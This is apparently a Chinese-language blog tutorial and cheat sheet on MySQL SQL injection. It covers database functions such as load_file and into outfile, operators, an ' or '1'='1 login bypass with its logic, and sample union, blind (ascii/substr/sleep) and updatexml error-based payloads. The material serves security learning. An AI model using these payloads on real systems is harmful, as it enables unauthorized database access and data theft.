2022-11-19 20:56:52273浏览
熟悉MySQL的注入函数对注入非常有帮助,我们先来看下有哪些注入函数:
一、MySQL注入函数
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() 数据库版本
@@datadir 数据库路径
@@basedir 数据库安装路径
@@version_compile_os 操作系统
count() 返回执行结果数量 select count(*) from users;
concat() 没有分隔符的连接字符串 select concat(username,password) from users;
concat_ws() 含有分隔符的连接字符串 select concat_ws(':',username,password) from users;
group_concat() 一行显示出来 连接一个组的所有字符串,并以逗号分隔每一条数据
load_file() 读取本地文件 select load_file('D:\\YY\\test.txt'); windows \\ linux /
into outfile 写文件 select 'MySQL' into outfile 'D:\\YY\\test2.txt';
#前提 show global variables like "secure" 查看secure_file_priv 是否没有值 没有值才可以读写文件
ascii() 字符串ascii代码值 select ascii('a'); 97
ord() 返回字符串第一个字符的ascii值 select ord('bc'); 98
mid('字符串内容',起始位置,长度) 返回字符串的一部分 select mid('test',2,3); est
substr('字符串内容',起始位置,长度) 返回字符串的一部分 与mid() 功能基本一致
length('字符串内容') 返回字符串的长度 select length('test');
left('字符串内容',几个字符) 返回字符串的最左侧几个字符
floor(数) 返回小于或等于x的最大整数 select floor(5.9); 5
rand() 返回0和1之间的随机数 select rand(); 0-1之间随机生成
extractvalue(xml文档对象名称,XPath格式的字符串) 从目标xml中,返回包含所查询值的字符串
updatexml(XML文档对象名称,XPath格式的字符串,new Value string格式用于替换) 改变文档中符合条件的节点的值
sleep() 让此语句运行N秒钟
if(条件,为真返回,为假返回) select if(1>2,2,3); >3
char() 返回整数ascii代码字符组成的字符串 selct char(a); > 97
strcmp() 比较字符串ascii值 select strcmp('a','b') 前者大于后者 1 等于0 小于 -1
ifnull() 假如参数1不为NULL,则返回值为1,否则返回值为参数2 select ifnull(1,2); 1 select ifnull(null,2); 2
exp() 返回e的x次方 select exp(1);
二、MySQL运算符
算数运算法
- +加法运算 -减法运算 *乘法运算 /除法运算 % 求余运算 DIV 除法运算 同/ MOD求余运算 同%
1、比较运算符
= < >
>=
<=
!=或者 <> 不等于
is null 为空 is not null 不为空
between and 在..之间 select * from users where id between 1 and 4;
in 包含 select * from users where username in ('admin','stupid','Dumb');
not in 不包含
like 模式匹配
not like 模式匹配
regexp 正则表达式 select user() regexp 'root';
2、逻辑运算符
&&或and 与
||或or 或
!或not 非
XOR 异或
三、万能密码
在我们的数据库里面是有一个万能密码的,通常我们使用万能密码去登录。
下面我把万能密码都列出来。
select * from users where username='$username' and password ='$pass'
原理
$usernmae =' or '1'='1
$pass = ' or '1' ='1
' ' or '1' ='1' 假或真为 真
真 and pwd ='' 假 为假
假 or '1'='1' 真 为真 所以绕过
四、MySQL注入语句
SQL注入,很多同学都不陌生了,就是对在有SQL注入漏洞的地方进行注入,以拿到我们想要的数据。这里我简单列几条SQL注入的语句。
and 1=2 union select 1,2,3 --+
select user() regexp '^ro';
ascii(substr( (select user()),1,1))=114
if(ascii(substr((select user()),1,1))=114,1,sleep(5)); 如果该数据库的用户的第一个字母的ascii值为114 返回1,否则该语句运行5秒钟
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101
将查询到的当前数据库的第一个表名的首字母 转化为ascii值 判断是否为101
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
问题反馈